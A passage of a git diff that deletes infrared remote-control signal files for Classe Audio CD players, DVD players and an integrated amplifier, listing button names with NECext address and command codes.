a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir deleted file mode 100644 index 5e70f2d15..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/CRCD/20,-1.ir +++ /dev/null @@ -1,302 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 0_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 1_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 2_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 3_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 4_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 5_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 6_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 7_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 8_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: 9_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: REPEAT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>>_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_>>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<<_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: SKIP_<<_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: INDEX_>_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: INDEX_>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 22 00 00 00 -# -name: <_INDEX_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: <_INDEX_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 23 00 00 00 -# -name: OPEN_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: OPEN_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2D 00 00 00 -# -name: PAUSE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: <<_SEARCH_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: <<_SEARCH_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: SEARCH_>>_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: SEARCH_>>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: PLAY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: STOP_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: RANDOM_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 70 00 00 00 -# -name: RANDOM_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 70 00 00 00 -# -name: SHUFFLE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 71 00 00 00 -# -name: SHUFFLE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 71 00 00 00 -# -name: INTRO_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 72 00 00 00 -# -name: INTRO_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 72 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir deleted file mode 100644 index becf5dc6d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/12,-1.ir +++ /dev/null @@ -1,386 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 00 00 00 00 -# -name: 0_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 00 00 00 00 -# -name: 1_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 1_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 2_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 3_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 4_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 5_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 6_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 7_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 8_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: 9_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0C 00 00 00 -# -name: OSD_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: OSD_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: REPEAT_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1D 00 00 00 -# -name: T-C_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1F 00 00 00 -# -name: T-C_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 1F 00 00 00 -# -name: OK_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: OK_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: MENU_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: MENU_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: UP_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: UP_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: LEFT_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: LEFT_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: RIGHT_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: RIGHT_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: DOWN_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: DOWN_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: RETURN_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: RETURN_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: SETUP_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: SETUP_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: SCAN_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2B 00 00 00 -# -name: ANGLE_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2C 00 00 00 -# -name: ANGLE_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2C 00 00 00 -# -name: SUB.T_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2D 00 00 00 -# -name: SUB.T_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2D 00 00 00 -# -name: AUDIO_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: AUDIO_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: PAUSE_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 30 00 00 00 -# -name: PREV_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: PREV_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 32 00 00 00 -# -name: NEXT_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: NEXT_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 34 00 00 00 -# -name: PLAY_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: PLAY_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 35 00 00 00 -# -name: STOP_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: STOP_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 36 00 00 00 -# -name: SLOW_T0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 -# -name: SLOW_T1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir deleted file mode 100644 index 7952f3060..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/20,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 0_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: 1_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 1_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: 2_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 2_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: 3_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 3_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: 4_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 4_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: 5_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 5_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: 6_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 6_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: 7_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 7_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: 8_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 8_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: 9_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: 9_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0B 00 00 00 -# -name: STANDBY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: STANDBY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 0C 00 00 00 -# -name: SHUFFLE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: SHUFFLE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: REPEAT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: REPEAT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: NEXT_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: NEXT_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: PREV_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PREV_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: PROG_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: PROG_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 29 00 00 00 -# -name: SCAN_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: SCAN_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: PAUSE_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: PAUSE_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: <<_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: <<_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 32 00 00 00 -# -name: >>_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: >>_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 34 00 00 00 -# -name: PLAY_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: PLAY_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: STOP_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: STOP_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 -# -name: A-B_T0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 -# -name: A-B_T1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 3B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir deleted file mode 100644 index 516f658c7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/200,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 0D 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 10 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 11 00 00 00 -# -name: F1 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 38 00 00 00 -# -name: F2 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 39 00 00 00 -# -name: F3 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 86 00 00 00 -# -name: F4 -type: parsed -protocol: NECext -address: C8 00 00 00 -command: 87 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir deleted file mode 100644 index a3c236195..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/25,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 0D 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 10 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 19 00 00 00 -command: 11 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir deleted file mode 100644 index b5d65c1d4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/4,-1.ir +++ /dev/null @@ -1,344 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0F 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1D 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: STILL_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 24 00 00 00 -# -name: STILL_REVERSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 25 00 00 00 -# -name: SCAN_>> -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: SCAN_<< -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 29 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 2C 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 31 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: PROG. -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4B 00 00 00 -# -name: AUDIO_MODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: SURROUND_SOUND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: HOME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: 10+ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 78 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 85 00 00 00 -# -name: AUTO_RESOLUTION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 89 00 00 00 -# -name: 480I/576I -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8A 00 00 00 -# -name: 480P/576P -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8B 00 00 00 -# -name: 720P -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8C 00 00 00 -# -name: 1080I -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8D 00 00 00 -# -name: 1080P -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: ON_(OPERATE) -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 96 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 97 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: C9 00 00 00 -# -name: DISC_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: D1 00 00 00 -# -name: SUBTITLE_ON/OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: E3 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F4 00 00 00 -# -name: STEP_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F6 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F7 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir deleted file mode 100644 index e21aac456..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/DVD Player/7,-1.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir deleted file mode 100644 index 08a288293..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Classe Audio/Integrated Amplifier/7,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: MUTE_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 00 00 00 00 -# -name: DISPLAY_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: DISPLAY_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 01 00 00 00 -# -name: SEPA_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: SEPA_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 02 00 00 00 -# -name: POWER_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: POWER_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 03 00 00 00 -# -name: VOL+_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL+_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 08 00 00 00 -# -name: VOL-_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: VOL-_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 09 00 00 00 -# -name: BAL_R_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BAL_R_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 10 00 00 00 -# -name: BAL_L_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: BAL_L_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 11 00 00 00 -# -name: LINE5_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: LINE5_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 13 00 00 00 -# -name: REG4_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: REG4_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: LINE4_T0 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: LINE4_T1 -type: parsed -protocol: NECext -address: 07 00 00 00 -command: 18 00 00 00 -# -name: 